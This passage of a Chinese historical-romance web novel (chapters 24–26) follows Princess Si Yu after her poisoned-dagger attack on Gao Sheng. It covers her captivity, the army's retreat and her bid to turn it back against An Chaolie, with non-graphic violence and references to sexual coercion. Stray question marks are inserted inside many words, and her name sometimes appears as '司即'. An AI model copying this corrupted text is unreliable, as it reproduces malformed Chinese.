可笑这?一刻,他突然想?起她在床上娇吟的样子,还有喂她吃下葡萄的样子,也很美啊,最美是杀他这?一刻……后世若有史书写?他死于?美色,也不冤枉他。 第24章 第 24 章 司妤不?知高盛是否毙命, 还要再刺,但水流突然湍急,她?竟也?稳不?住身形, 之前刺高盛那两刀也?耗力太多, 不?由浮出水面歇气。 这时才知,不?知为何, 水竟往东在流。 她?无力抵抗水流,只能顺水而下,也?就在这时,失去了?高盛的身影, 不?知他是断气沉入了?水底,还是去了?别处。 岸上早已一片沸腾, 大呼小喝, 之前同?行船上也?有人跳下来去寻高盛。 直到几乎力竭时, 她?听见一人喊:“决堤了?,东大湾决堤了?!” 她?才知, 竟是连日阴雨,这碧罗湖决堤了?。 竟在这时候!也?不?知高盛断气了?没。 可惜她?寻不?见高盛的人, 也?无力再游回去,甚至她?自己也?可能在这湍急水流中丢掉性命,只能尽量寻水流平稳处上岸。 顺水漂了?许久, 眼看?马上到决堤口,那般水流下, 很可能就溺水了?, 正在着急时, 看?见前面一棵垂柳,枝条垂入水中, 离岸稍远,是绝佳的上岸机会。 她?立刻使出全身力气往那柳树斜游过去,水流越来越急,她?以最后的求生意志抓到了?那柳条。 然后便将柳条死死拽住,一边喘息,一边努力靠近岸边。 最后她?从一片荆棘丛中爬上岸,瘫在草地上,几乎要死过去一样。 就在她?大口喘息时,一阵脚步声传来,她?抬眼一看?,却是四五名西凉兵。 她?连忙就想逃,那几名西凉兵立刻冲过来,朝她?拔刀。 司妤厉声道:“我乃永宁长公主,胆敢犯上者,诛九族!” 那几名西凉兵迟疑了?,将她?围在原地,其中一人则立刻往回跑去。 没一会儿,那跑走的士兵来了?,带着李风华。 李风华拿士兵刀从自己身上割下一块布来,立刻吩咐道:“塞住她?嘴,立刻带走!” “来人——”司妤只叫了?一声便被制住,士兵将布条绑住她?嘴,带着她?从树林后离开?。 碧罗湖边仍是一片乱,但所有人都是两样目的,找到公主和太尉,只是有人是为救,有人是为杀,可惜今日是为祭拜高丰,兵力都由高盛所派,沿岸都由他们所把控。 司妤被李风华迅速带回了?太尉府,显然李风华不?准备杀她?,但也?不?能将她?放走,于是先将她?囚禁,命人严加看?管,自己则匆匆出去。 司妤到此时还活着,对她?来说已是意外之喜,但她?十分担心高盛,毕竟没亲眼确定他断气。 不?知过了?多久,她?听见外面有喧闹声,下意识便知是他们找到了?高盛,只是不?知道是找到的尸体,还是活着的人。 这种喧闹过了?一会儿渐渐安静下来,但随即一阵大踏步声往这边而来,她?面前的房门突然被撞开?,卢慈提刀进门。 “今日我便杀了?你?,替我大哥报仇!”卢慈说着举刀朝她?冲来,李风华随后而来,急忙将他抱住:“不?可,卢将军,不?可!” 卢慈道:“为何不?可,杀了?她?,罪名我一人担着!” “如今太尉重伤,安朝烈联军就在城外,朝中又不?知有多少?人闻风而动,此时杀公主,落人话柄,以致人心浮动,对太尉有百害而无一利!”李风华力劝。 此时陈滔也?过来拉卢慈,卢慈急道:“那现?在怎么办,难不?成就这样干等?着?” 李风华道:“不?能干等?,要召众部将来从长计议,尽早防备朝内外变故,然后等?太尉醒来!” 卢慈被他劝住了?,恨恨看?向司妤。 司妤想知道高盛是否真的只是重伤,便有意道:“你?们不?必妄想,我们的刀中都淬了?毒,高贼必死无疑。” “我现?在便让你?必死无疑!”卢慈说着就再次提刀,陈滔将他拦住,李风华一边沉眉看?一眼司妤,一边道:“快带将军出去,太尉未醒,绝不?能动公主。” 随后三人匆匆离去,似去商议大事。 司妤确定高盛果真没死。 她?便担心这样,这是夏天,她?们穿的衣服都单薄,藏不?了?武器,唯一能动心思的便是鞋子?,可她?的脚小,那刀又不?能做得?过长,只能做一把小匕首。 扎胸口那一刀偏了?,割喉那一刀他往后避了?一分,她?总觉得?也?不?够深。 如今看?来,大概是没割开?喉管,便只能盼着刀上的毒有点用,能将他毒死。 高盛寝房内,围着一圈人,已乱成一片。 王小桃守在床边垂泪,听后面一群人争吵。 卢慈要杀长公主悬头未众,李风华反对;陈滔提议要将严淮叫来商议大事,其余人却觉得严淮不可信;外面临汾王手持太后懿旨,要太尉府放了?长公主,有人说不?如放了?,但卢慈与李风华都不允;另,众人都觉得?值此关键时候,该派大将去镇守城外,抵御联军,但卢慈与柴进绪都觉得该对方去…… 总之,高盛命在旦夕,这太尉府却已稳不住了。 大夫道,几处刀伤不?深,喉间那一刀也就差那么半分,但在水中失血过多,刀中又有毒,虽说泡了?水,毒性减弱,但终究入了?血脉,能不能熬过今晚都难说。 这也?是卢慈与柴进绪都不?愿去抵御联军的原因,这两人在军中威信最大,地位最高,万一高盛出事,都担心对方趁机上位。 王小桃至傍晚才出来,丫鬟劝她?,再不?用饭,饭菜都冷了?。 她?要去用饭,忽然想起来,问:“有人给长公主送饭吗?” 丫鬟摇摇头:“没听说,这边的事大概是卢将军在负责。” 但王小桃知道,卢慈能负什么责,事情太多了?,他估计根本?不?记得?有这事。 她?说:“先把我的饭菜端过来。” 丫鬟只好去做。 随后王小桃亲自端着自己的饭菜去关押司妤的地方,门口守卫是卢慈心腹,竟不?让她?进,她?道:“把长公主饿死了?,要担责的时候你?来?” 那守卫便不?说话了?,由她?进去。 房中也?没有燃灯,王小桃去燃了?灯,这才知道司妤还穿着湿衣,那衣服现?在都半干了?。 她?连忙向司妤行礼,然后将饭菜放在司妤面前,又朝身后丫鬟道:“快去拿两身我的衣服来,还有被褥都拿来。” 丫鬟去了?,王小桃恭敬道:“卢将军他们粗心,又有许多公事繁忙,怠慢了?公主,公主见谅。” 司妤看?看?她?,又看?看?面前的饭菜,不?知她?是什么意思。 如果要下毒,应该也?不?至于再让丫鬟送衣服和被褥来,所以这是真的给她?送饭。 但如果高盛死了?,她?应该也?没有心情来送饭,可见高盛依然活着。 她?问:“是高盛让你?来送的饭,意图毒死我?” 王小桃不?知她?是在套话,伤心道:“表叔要能吩咐我做事就好了?……公主放心,这是我的饭菜,没毒。” 司妤便明白?高盛没死,但也?没醒。 她?坐下来用饭。 当然要吃,只要上天不?让她?死,她?就不?会死。 王小桃不?知自己现?在是什么心情。 公主杀了?表叔,她?理?该恨公主,但又很明白?,之前的确是表叔霸占公主,要不?然公主怎么会要杀表叔? 所以事情还是如她?猜想的那样,宋之洵喜欢公主,公主喜欢宋之洵,但表叔霸占了?公主,并强迫宋之洵和自己的侄女成婚,甚至也?用强兵控制了?京城,便是长公主也?无可奈何,最后宋之洵和长公主纷纷朝表叔下手。 表叔真的要造反,她?不?知道为什么表叔要这样,但她?注定是表叔这一边的,只能和表叔站在一起。 表叔如果醒了?,会杀了?长公主吗? 作为表叔的侄女,她?觉得?应该;作为女人,她?却又能理?解长公主。 甚至她?也?没想到,如此柔弱美?丽的长公主,竟也?有那么干脆果断的一面。 司妤再没有多的话,安静吃完饭。 到丫鬟拿来衣服,王小桃便收了?食盘,让她?换了?衣服休息,稍后她?也?会让人送水来。 司妤能猜到,卢慈这些人估计把她?关在这里就没管了?,杀不?杀她?,放不?放她?,他们也?无法作主,送饭送衣服是王小桃自己做的。 她?道:“多谢县君。” 虽是说谢,但态度一如继往的冷清。 王小桃朝她?行礼告退。 这一夜过得?十分焦灼,司妤没怎么睡。 一夜没听到过分的动静,这证明高盛的情况仍是一样,没有在半夜突然死去或是半夜突然醒来。 果然,第?二日有丫鬟来照常给他送吃的。 等?到中午,她?听见了?外面是嘈杂声,似也?有叫骂声,但听不?真切,再一会儿,便有大军齐踏步的声音,全聚集在太尉府外面,似是两军对阵。 她?猜到了?,定是宫中或朝廷来要人,勒令他们放了?她?,但卢慈等?人不?允,所以才有对阵。 但宫里和朝廷能控制的兵力有限,自然不?是这些西凉大将的对手,果然到午后,动静就熄了?,大军散去。 太尉府这边才逼退临汾王,又有战报传来,称安朝烈等?人全军出击,朝京城攻来,陈州已失守,城外急需援军。 卢慈急召李风华等?人来商讨,人才刚到,又有新的战报来,沙河口失守,西凉军溃败,正逃往城中。 很明显,联军是知道了?高盛被长公主刺杀的消息,所以趁机大举进攻,而西凉军这边迟迟没有防备,相?争不?下,又因高盛性命垂危,致使唤人心涣散,无心恋战,便节节败退。 而且朝中都在传高盛已死的消息,平时安静的朝臣已然出动,譬如汾临王便召集千余人,要太尉府放人;众多朝臣聚集于少?府卿李固言府中密谈,似有所图谋…… 府上众人一合计,最后得?出个结论:不?如撤回西昌。 第?一,这是高盛当初就定下的策略;第?二,联军马上攻进城,西凉军群龙无首,腹背受敌,保住兵力最为要紧。 李风华也?不?反对,这两日他也?看?出来了?,卢慈与柴进绪并不?对付,太尉还没断气就已吵吵了?这么久,要真有意外,这两人一定不?能同?心。 于是当即就往西昌方向撤退。 第25章 第 25 章 司妤还在?煎熬中等着, 却突然就被挟持上车,随着浩浩荡荡的大军朝西门?急奔而?去。 她在?车上看着望不到头的队伍,又看着队伍中有?好几辆车, 有?一辆车远远看着, 似乎是太尉形制,便猜测那?里面可能是高盛, 所以他们不是出击,而?是撤离京城? 为什么撤离? 司妤不知外面的消息,又逃不掉,只能干着急。 直到第二日, 队伍依然在?往西行,司妤便确定, 他们真的是在?撤军, 目标很可能就是西昌, 或是直接回凉州。 莫不是,舅舅与安朝烈的大军攻入京城了? 高盛一直没?断气, 到昏迷的第四日,竟有?过?片刻清醒, 随后又昏睡过?去,但这给了卢慈等人莫大的希望。 又过?一日,高盛再次醒来, 并喝下汤药。那?时正值中途休息,高盛以目光询问卢慈现在?何处, 卢慈禀告联军攻入京城, 他们几人无法应对, 便一致决定先撤回西昌。 高盛体内毒性未除,又有?颈间的伤, 开不了口,并未说?话?。 随后卢慈问:“大哥,公主?刺杀大哥,当日就被我们擒获,现在?押送在?军中,是否要处置?” 高盛看着他,也?没?说?话?,李风华在?一旁道:“太尉,属下以为此时形势不稳,人心浮动,不宜杀公主?。” “所以才要杀了她安定军心,看谁以后还敢造次!”卢慈道。 在?一旁照顾高盛的王小桃道:“卢叔,你们就别争了,先让表叔休息,等他好了再决定也?来得及。” 卢慈只好作?罢。 大军西行的第十日,大约到了西昌半途,一道来自严淮的密报在?夜半时分送到了军中。 高盛现在?虽每日都?会醒,但醒的时间也?不多,便将一切交与卢慈和柴进绪共同商议,若两?人争执不定,则由李风华与陈滔决议,按少数服从多数原则。 尽管粗糙,但好过?相争不下。 所以卢慈接到密报,看一眼,自己识不得几个字,只知道是严淮送来的,必是大事,便马上召来几人商议。 联军进京后,郭循与安朝烈相争主?事之权,安朝烈到底更?狠辣一些,竟突然反戈杀了郭循,逼迫尚书台拟诏将手下亲信大肆封赏,劫掠城中富户钱粮;其手下军士也?不遑多让,在?京城奸|淫掳掠无恶不作?,其义子甚至将宫中妃嫔随意掳到自己家中。 为在?京城立威,安朝烈声称皇上为罪臣高盛所立,先帝真正属意的太子实则是平州王,如今意欲废皇上而?立平州王为帝,尚书台为此忧心不已,因此严淮送信来,请求卢慈柴进绪等人带兵杀回京城,诛杀安朝烈。 卢慈不愿杀回去,仍想先回西昌;柴进绪祖籍并非凉州,此时倒更?想打下不远的潼关,那?里粮草多,正是不成气候的长生教余众占领,拿下城池,进可攻退可守;陈滔则想回凉州;李风华犹豫未决。 到第二日,大军不走了,仍在?原地扎寨,等候高盛决策。 队伍没?继续往前,司妤十分奇怪,正好上午王小桃来了,她便问王小桃,“为何不继续前行了?不去西昌了吗?” 王小桃只是偶尔会过?来问她需要什么,之前李风华特地叮嘱她,长公主?狡诈多心机,不要和她多说?话?,王小桃记在?了心里,此时也?不开口。 司妤便问:“莫非是高盛今日气绝了?” 王小桃受了激,立刻道:“我表叔大有?好转,只看哪日痊愈,绝不会死!” 这么多天高盛都?不死,司妤早就猜到他可能不会死了,如今听王小桃这么说?,更?觉得挫败。 她略有?颓丧道:“那?算他福大命大,天意不公。” 王小桃有?些不高兴,突然道:“安朝烈要废了皇上,再立平州王。” 司妤大惊:“这怎么可能?”随后又道:“郭大将军呢?他必然不会同意!” 王小桃缓声道:“公主?说?的是那?个国舅爷、太后娘娘的哥哥吗?他被安朝烈杀了,安朝烈手下有?个羌人大将,还劫掳了昌乐公主?……” 司妤大惊失色,几乎怀疑王小桃是在?有?意刺激自己。 王小桃也?觉得自己为了替表叔说?话?,这样刺伤公主?并不好,但这是事实。 她随后道:“是一个姓严的写?信过?来的,劝卢将军他们再带兵回京城,他们要等表叔醒来再商议。” 司妤呆住,万没?想到京城是这样的局面。 安朝烈向来是朝中重?臣,又是徐家女婿,怎会如此? 昌乐的确任性,可她不过?是个小姑娘,遭人劫掳……她知道那种感受,万万没?想到妹妹竟与自己是同样的命运。 她愣在?原地,似已丢了魂魄。 王小桃心中暗生愧疚,不再刺伤她了,于是退身下去。 但她还没?走远,身后司妤便突然道:“等一等——”说着跳下马车。 周边护卫见此情形,立刻拔刀将她围住,他们的任务是不许公主?下车,若有?差池,必是死罪。 好在?司妤跳下车便没?往前走了,朝王小桃道:“带我去见卢慈,或是高盛,好吗,让我见他们一面。” 王小桃回过?头来,想了想:“我自然不能带你们去见,但……我可以转告卢将军,他怎么定夺就是他的事了。” 司妤想着卢慈肯定不会答应,他只想杀了自己。 “那?你和高盛说?,说?我要见他,有?要事相商!”司妤急道。 王小桃没?说?话?,沉默着离去了。 看着她离去,司妤无力地扶住身旁马车,周边护卫道:“请公主?上车。” 她看看这些人,顺从地上车去。 王小桃回到高盛营帐,他已醒过?来,精神说?不出好还是不好,大夫在?替他换药,卢慈柴进绪等人在?一旁七嘴八舌,李风华在?给高盛念信。 信不长,但惊世骇俗,京中之动荡恍若就在?眼前。 卢慈道:“这安朝烈,竟说?我等是反贼,削去我等官职,还扬言要诛杀我等,我看我们便杀回去,夺回京城!” 陈滔觉得不妥:“安朝烈吞并郭循军队,又收编了京中禁军,如今少说?有?四十万人马,我们这来回奔波,粮草不多,太尉又伤重?,攻去京城定要受挫!” “先安营扎寨,积些粮草更?稳妥。”柴进绪说?。 李风华念完了信,高盛没?有?反应,一来这事本就要好好筹谋,二来就算他有?话?也?不能说?,喉间的伤口说?一个字便会牵动。 这时王小桃道:“我刚才一时冲动,把京城的事和长公主?说?了。” 王小桃是高盛最宠的侄女,这几日衣不解带照顾高盛,对卢慈等人来说?就相当于高盛闺女,此时也?认真听她说?完,卢慈道:“说?就说?了,我倒想知道她如何悔恨,竟伤我大哥!要我说?,要不是我们将她带出来,她现在?还在?安朝烈床上呢!” 李风华轻咳一声,示意此话?对公主?实在?不敬,而?且公主?原是太尉所有?,太尉在?此,也?不该如此说?。 卢慈看看高盛的沉静的神色,略有?讪讪,给自己找补道:“挫一挫她锐气也?好。” 王小桃接着道:“然后,她说?要见各位将军或是表叔,说?有?要事相商。”说?完,看向高盛。 高盛脸上仍是平静神色,卢慈道:“她有?什么要事,该不会又有?什么奸计吧?” 因湖上刺杀一事,卢慈虽对司妤愤恨,但更?多却是警惕。 这公主?,能在?他们眼皮子底下将大哥伤成这样,要不是正好碧罗湖决堤,大哥此刻已然不在?了,这叫人如何能不防?简直比他见过?的任何将领都?可怕,是朵长了毒刺的花。 李风华道:“想必是为了京城之事,见一见倒也?无妨。自然,还是看太尉的意思。” 于是众人都?看向高盛。 高盛缓缓抬手。 他中了毒,毒虽没?致命,却让他浑身麻木,动弹不得,至今毒性未清,王小桃见此,立刻到床边。 高盛指向上方。 卢慈等人不明白他的意思,王小桃道:“表叔指的是帘子?” 高盛轻轻点头。 那?帘子正是王小桃挂的,她平时在?这里照顾表叔,但表叔年轻,男女有?别,有?时擦洗方便之事便还是朱勇这些近侍在?做,这种时候她就要避开,所以前几天她弄了块布,挂在?床边。 此时高盛的意思便是,将帘子放下来。 这便是允许公主?来见,但要放下帘子,他在?帘后。 诸人都?觉得这样稳妥,便放下了帘子,让人去将司妤带过?来。 司妤进了营帐,只见高盛帐下数名?大将与谋士都?在?,俱是手持兵刃,面带戒备看着她。 她看不见高盛,因床前垂着块麻布,想必高盛还是卧床,那?毒名?为“见血封喉”,足量能致人当场毙命,高盛却没?死,想必是刀在?水中泡,失了部分药性,加上高盛身材高大又体魄强健,最后竟留得一命。 看着眼前这架势,她倒觉得失笑,之前湖上那?一刺,是用了多少心力和时间筹备,现在?她手上什么也?没?有?,她又不会武功,真论体力,说?不定连王小桃都?扭打不过?,实在?没?什么好防备的。 王小桃见众人都?神情肃穆,率先开口道:“公主?,表叔重?伤未愈,但能听见,公主?有?什么事便说?吧。” 司妤看着帘内方向道:“我认为,太尉当应严令君之请,回京诛杀安朝烈。” 帘内无动静,柴进绪却笑了。 柴进绪道:“公主?是为自己打算,回京对我们有?何益处?” 卢慈原本想着安朝烈太过?分,杀过?去就杀过?去,但此时听司妤这么说?,他不禁又道:“你让我们回京我们就回京?实话?告诉你,我们早就决定去西昌了!” “去西昌,你们就死定了。”司妤道。 卢慈一笑,一副“我便知道你要耍花招,倒要看看你怎么耍”的样子,问:“公主?倒是说?说?,我们怎么就死定了。” 司妤道:“如今西昌刺史是李琚,此人在?西昌经营多年,有?些根基,朝廷迁都?去西昌,他无话?可说?,你们西凉兵逃去西昌,他可不一定能将西昌拱手相让。” 卢慈反驳道:“我们怎么叫逃?只是撤军西进!” “是不是逃,不是你们说?了算,是朝廷说?了算。现在?代表朝廷的,可是京城的安朝烈。”司妤道。 “他以天子名?义下诏,称太尉与诸位是乱党,长公主?亲手诛杀,却遭掳获,安朝烈奉命进京讨伐,乱党闻风而?逃,急撤回凉州老家,今命天下义士共讨西凉乱党,救回公主?,你们便成为众矢之的,又如何应对?” 卢慈说?不赢了,甚至觉得她说?的很有?道理,他觉得这样不对,赶紧看向李风华。 李风华道:“安朝烈把控京师的确占了大义,但我等率师回京,太尉重?伤之下,如何能敌得过?安朝烈大军?到时候岂不是损兵折将,毁了太尉数年心血?” “安朝烈杀国舅,又要废帝再立,既然严令君递出密信,那?证明朝中公卿都?对其不满;国舅部将受降恐怕也?只是权宜之计,对他并不忠心;京城正遭大难,太尉率军讨伐,便是正义之师,必能受到朝中文武欢迎,所谓‘得道多助,失道寡助’,到时里应外合,太尉定能得胜。”司妤道。 李风华不能反驳,回答:“公主?所言,不过?是要用太尉去解救京城,然而?太尉也?是因公主?而?重?伤,若非公主?,京城可不会被安朝烈占据。” 司妤道:“我自然想诸位去救京城,但诸位就不想吗?当初是太尉与诸位扶皇上上位,而?我与皇上更?亲近,至少在?这一点上,我们都?是皇上这一边,只认皇上这一个天子,而?非平州王。 “若国舅在?,我便会与国舅为同盟,但如今国舅已死,我只能与太尉为同盟,此一时彼一时,若太尉愿意率师回京,我愿召告天下,向太尉认错,承认是误听奸人蛊惑,杀害忠臣。” 卢慈不屑道:“公主?这三心二意的,变脸可真快。” 陈滔也?面露鄙夷,但李风华却知道,长公主?所言竟有?王者?之风。 确实是“此一时,彼一时”,乱世之中,本就应因时制宜,当初太尉占据京师,公主?憎恶其势大;如今国舅被杀,安朝烈竟要废天子,安朝烈也?就成了他们彼此最大的敌人,抛却前怨,同仇敌忾才是上策。 陈滔道:“迁去西昌,本就是太尉的意思,安朝烈我们要打,却不是现在?,等去了西昌安定下来,再打不迟。” “怎么会不迟,当然就迟了。”司妤道:“太尉去西昌,那?是迁都?,带着天子与朝廷一同去西昌,太尉仍是太尉;现在?你们呢?不就是仓促逃离?等你们安定下来,安朝烈也?安定下来了,那?时他已废了皇帝,再立平州王,也?已占稳京城,兴师讨西昌,你们再要打回京城,可没?这么容易。” 陈滔说?不赢她了,看向卢慈,卢慈原本的确是想打回京城的,此时却觉得不能中计,朝帘后道:“大哥,我看她是居心叵测,就想说?动我们替她救皇上,还是让她下去算了!” 司妤连忙道:“我的目的的确是要救皇上,太尉就不想吗?”她也?看向帘后:“高盛,我想你的志气,定不是窝居西昌或凉州,要不是你重?伤昏迷,也?许并不会让安朝烈打进京城来,更?不会如丧家之犬一样往西逃。你手下这些人能丢了京城,当然也?能丢了其它的,到时候一拍两?散伙或是自己打起?来,也?不是不可能。” 卢慈等人听她这么说?,顿时怒了,纷纷反驳,卢慈更?是大喝道:“你少胡说?八道,我誓死追随大哥,怎么会散伙?” 说?完,又看向柴进绪道:“不过?其他人就难说?了,心心念念要去潼关。” 柴进绪道:“太尉受伤之日我便提醒卢将军派援军去陈州,防止安朝烈趁机大举进攻,卢将军不听,如今却怪起?我来。潼关有?粮草,唾手可得,为何不取?” “我让你去陈州,你为何不去?如今倒把这丢京城的罪名?给我!”卢慈道。 李风华见此,不由叹息。 司即开口打断了他们的争执:“卢将军因与太尉是同乡,便以太尉第二自居,而?柴将军却也?是当世名?将,论谋略与武力,都?不比卢将军差,甚至更?沉稳几分,柴将军怎会服卢将军? “李参军多谋,甘心辅佐太尉,却不一定愿意辅佐诸位将军,这种情形,若是遇强敌还能同舟共济,若是过?于安逸,只会越来越离心离德,就怕还没?等太尉痊愈,他们间的矛盾便已不可调和了。” 这番话?把众人都?得罪了,纷纷指责她别有?用心,要将她带下去。 王小桃到了帘后,随后出来朝卢慈点点头,这便是高盛同意将司妤送回车上。 卢慈立刻就吩咐护卫:“将公主?送回车上,好好看管!” 司即最后道:“高盛,此时趁安朝烈根基未稳,杀回去是最好的,若是迟了,他已新立天子,召告天下太尉为反贼,太尉便再难进京城,至于你我恩怨,可在?诛杀安朝烈后再清算!” 第26章 第 26 章 司妤被带走了, 再次回了自己的马车。 她不知高盛最后会如何抉择,而这竟成了她唯一的希望,如果他不为所动?, 那弟弟就完了, 大兴也就真?正的气数尽了。 她看着天边的日光,遥想着, 如果真?到?亡国那一日,她就自尽吧,也算不辱司家先人……男子还能死在沙场,死在追求中?, 女子只能沦为各方奸佞的玩物。 大军这一日都驻扎着,不曾前行?, 也许是仍在筹谋下一步该如何。 夜半, 司妤不怎么睡得着。 她每日被软禁在车上, 没什么事?只能坐着或睡下,有时白天睡了, 晚上便睡不着。 她撩开车帘,看着寂寥的夜空, 又想起她不曾见过,却存在于史籍与起居录上面的司家先祖。 高祖创业的故事?人人皆知,但二百年后, 皇室无人,江山满目疮痍。 看守她的人也是轮班, 此时那兵士见她没睡, 看向车外, 便警惕地看着她。 直到?西边临时搭建的瞭望台突然响起一阵擂鼓声,司妤看过去, 只见五只火把同时在台上挥动?。 她不懂这是什么意思,倒是旁边那看守她的士兵立刻叫醒同伴,喊道:“有人袭营,快戒备!” “有人袭营,有人袭营——”四周都大叫起来,与此同时,鼓声仍急擂不止,四处火把攒动?,士兵急往中?军帐中?跑。 就在这边戒备时,一阵踏步声轰隆隆往这边急奔而来,没多久,踏步声停下,一只只利箭射入营中?。 她身旁那兵士道:“快回车中?躲好!” 司妤立刻钻进马车内,缩在了里面。 外面一片杀喊声。 她曾亲眼看见高盛卢慈杀人,自己也曾试着杀人,但这是她离战争最近的一次。 她所见过的,是一个一个死,现在见到?的,是一群一群死。 躲了好一阵,箭雨停下了,随即便是冲杀。 不知过了多久,司妤小心探身出去看,只见黑夜中?一团团火把穿动?,西边杀作一团,而她帐篷边上,方才那个看护她的士兵竟胸口中?箭倒在地上,已然死去。 她大惊失色,回到?车上,不知是继续待在这里,还是去高盛营中?。 就在这时,一人急跑而来,在马车下喊:“公主——” 是宋之洵的声音! 司妤立刻探身出来,看见个普通兵士站在车前,细一看,正是宋之洵。 “宋之洵,你没死!”司妤大喜。 宋之洵将地上死去那兵士的衣服扒下来,递向她道:“快穿上!” 司妤不知他要她穿上做什么,但外面是战乱,宋之洵语气急促,她便不再多问,立刻将衣服随意套上,一边戴上头?盔,一边跳下车来。 “随我?来!”宋之洵拉了她便往营地某个方向走。 此时营中?纷乱,所有人都抵御着敌兵,倒没人注意他们。 宋之洵拉着她到?营地某个角落,眼看将要出去了,司妤停了下来,问她:“你带我?去哪里?” 宋之洵道:“自然是带公主走,此时正是时机!” 司妤立刻问:“走去哪里?” “走去哪里都好,只要能逃离高盛!”宋之洵说。 司妤将手从他掌中?抽出:“宋卿,我?不知你为何还活着,为何在这里,但我?并不想走。” 宋之洵大惊:“为什么?失去今夜,恐怕再难有机会!” 司妤道:“宋卿,我?要与西凉军一起回京师,怎能就此离开?” 宋之洵一脸不解看着她。 她意识到?自己从未向他表明过心意,便开口道:“宋卿,对?不起,我?之前都是骗你,我?知你投身高盛,又对?我?有意,那时我?想杀高盛,所以蛊惑你反高盛,至于成不成功、你会不会死,我?都没有想过,我?想要的只是利用你杀高盛,至少?多一次杀高盛的机会而已。 “如今我?舅舅被杀,京城被占,高盛同意带兵攻回京城,我?要和他一起,我?哪里都不去,更不会和你离开。” 宋之洵怔怔看向她。 在他心里,公主是那个美貌无双又柔弱无依,对?他情根深种,将所有希望放在他身上的世间最尊贵的女子,也是他梦幻中?的妻子,却没想到?此时此刻,她站在自己面前,用平静而无情的眼神与口吻,告诉他她对?他都是利用。 怎么会呢? 怎么会如此? 想了好久他才意识到?,她不是那个他以为的柔弱女子,她是司姓皇室后人,她做的一切,都只是为了皇家基业,没有半点儿女情长。 此时一人朝这边来,似乎发现他们行?迹可疑,朝他们喊:“你们在这里做什么?” 司妤朝他道:“快走!” 宋之洵再没有时间多想,立刻逃出军营外,那本就疑心他们的兵士立刻拔刀要喊人去追,突有一道身影从帐篷后出来,朝那兵士道:“别追了,让他去!” 这是王小桃,兵士认识她,便不再追宋之洵,只交待:“县君快回营中?。” 王小桃点头?,吩咐道:“我?知道,你下去吧。” 兵士看看司妤,提刀下去了。 司妤看着王小桃,又看看宋之洵离去的方向,问她:“高盛是因?你而放了宋之洵?而你……却有意放了他?” 王小桃真?心觉得公主脑子好,看她一眼竟然就猜到?了。 “是。”她回答。 她本就没想过要绑着一个人,今日看宋之洵想逃,就放他逃了,反正她自恃是表叔唯一的亲人,表叔不会怎么样她。 司妤自己往车驾方向走,王小桃问她:“公主真?的对?宋公子没有半点留恋么?他那么好一个人……” 对?王小桃来说,如果宋之洵肯为了她去杀人,连这种情况都不顾自身安危而要带她走,她一定会激动?得连性命都愿交出。 司妤缓声道:“我?是公主……大兴的公主,朝廷羸弱至此,江山风雨飘摇,我?有什么资格儿女情长?若大兴亡,我?便亡,若我?亡时,大兴还在,我?便不负此生?。” 公主很少?和她说这么多话,说的也都是些疏离的套话,而此刻,王小桃却听出这就是长公主的心里话。 她看向公主,突然觉得面前的女子这么美貌,这么尊贵,却又这么……让人怜惜。 若是早几十年的公主,她定能安安稳稳过这一生?,嫁世间最好的男子,过让所有女子艳羡的生?活,但偏偏她是乱世中?的公主,还不甘做亡国公主。 司妤往自己车驾附近去了,身边已有护卫紧张地围上来,怕她再跑了。 而此时,远点又有大片的军队奔袭而来,不一会儿,她听见卢慈在营外喊:“庞能,太尉车驾在此,你为商州刺史、朝廷命官,为何侵扰?” 随即对?方道:“国贼高盛,不过区区一介屠夫,竟自封太尉,杀害重臣,败坏朝纲,如今掳公主而逃,人人得而诛之!” 紧接着那边兵士喊:“诛杀国贼,营救公主——” 一时间喊声震天,士气大振。 司妤亲眼见到?身旁看守她的护卫看她一眼,眼神中?带了犹疑。 她明白,军心尤其重要,如今高盛重伤本就让军士士气低落,而他们也确确实?实?劫掳着公主,若非对?高盛死忠,没有人愿意造反,司妤不禁替卢慈担心起来。 想了想,她看看周围,脱下身上士兵的盔甲,朝护卫道:“带我?去那辆战车旁!” 没一会儿,一辆战车自营帐中?出来,黑夜中?,能见到?车上竖着写有“高”字样的旌旗。 庞能方军士一见旗帜,便已张弓搭箭,只等战车靠近就放箭射倒旗帜,却不曾想待战车慢慢靠近,火光中?,看清那竖旗之人竟是个绝美的女子。 “我?乃永宁长公主。”战车上女子大声道。 庞能人马见此情形,都惊愕不已。 战车上女子美艳不可方物,却又雍容华贵,自有一种天家傲气,比传说中?的大兴明珠更让人震撼。 她看着这边道:“我?杀太尉,是为奸人蒙蔽,如今安朝烈于京中?作乱,太尉欲进京摛贼,诸位勇士,若为大兴军人,当横戈跃马,与太尉共讨乱贼,而非在此内斗。意欲劫营者,是为反贼,当诛九族。” 此言一出,无人敢杀公主,也无人敢再劫营,庞勇手下士兵犹疑间放下兵刃。 庞能不死心,在马上大喊:“此为高盛胁迫公主,打?败高盛,救下公主——” 司妤喊:“非有人胁迫,庞能,你为大兴臣子,食大兴米禄,却不思报国,在此公然作乱,意欲何为?” 说完,将旗杆交给旁人,拿过一张弓,张弓一箭朝庞能射出。 这是营中?弓箭手的弓,司妤头?一次碰这东西,以她的臂力,连弓都拉不开,这一箭只能算依样画葫芦,箭还没射到?庞能面前便掉了下来。 但她没射中?没关系,她的动?作代表了公主的态度,公主都朝庞能发箭,称庞能为作乱反贼,那庞能喊出的“救公主”的口号又算什么? 卢慈在此时大笑,朝西凉兵士喊道:“诛杀反贼庞能,保护公主,杀庞能者重赏——” 此话一出,西凉兵纷纷往前冲杀,庞能一方则再无战意,节节败退,很快便作鸟兽散。 卢慈还欲追,从中?军帐中?传来将令,让他别追,停下来修整。 显然,这是高盛的命令,高盛出于其他考量,不欲与庞能久斗, 卢慈策马回营时,司妤已从战车上爬下来,正站在营中?揉着自己的手腕。 之前射那一箭,她唯恐箭射不出去,硬是使出全力,几乎要将手腕拉脱臼。 卢慈不禁多看她两眼,犹豫片刻,什么也没说就走了,陈滔从后面来,和她道:“方才多谢公主冒险举旗帜,此一仗才能不战而胜。” 那样的情形,高举战旗便是活靶子,万一有人眼瞎,万一庞能再蛮横一些,直接放箭,任是公主还是皇帝,说被杀也就被杀了。 司即也知道自己刚才那一举措实?在危险,但……或许是谋划杀高盛的事?,让她已经习惯将自己性命置之度外,朝廷权力不在皇室身上,她依靠的舅舅不在了;抱以希望的安朝烈比高盛还疯狂;宋之洵也不堪重用,她没有别的办法?,除了作为女人的身体?和作为人的性命,她又有什么呢? 如果连这些都顾惜不舍,她便只能干熬着。 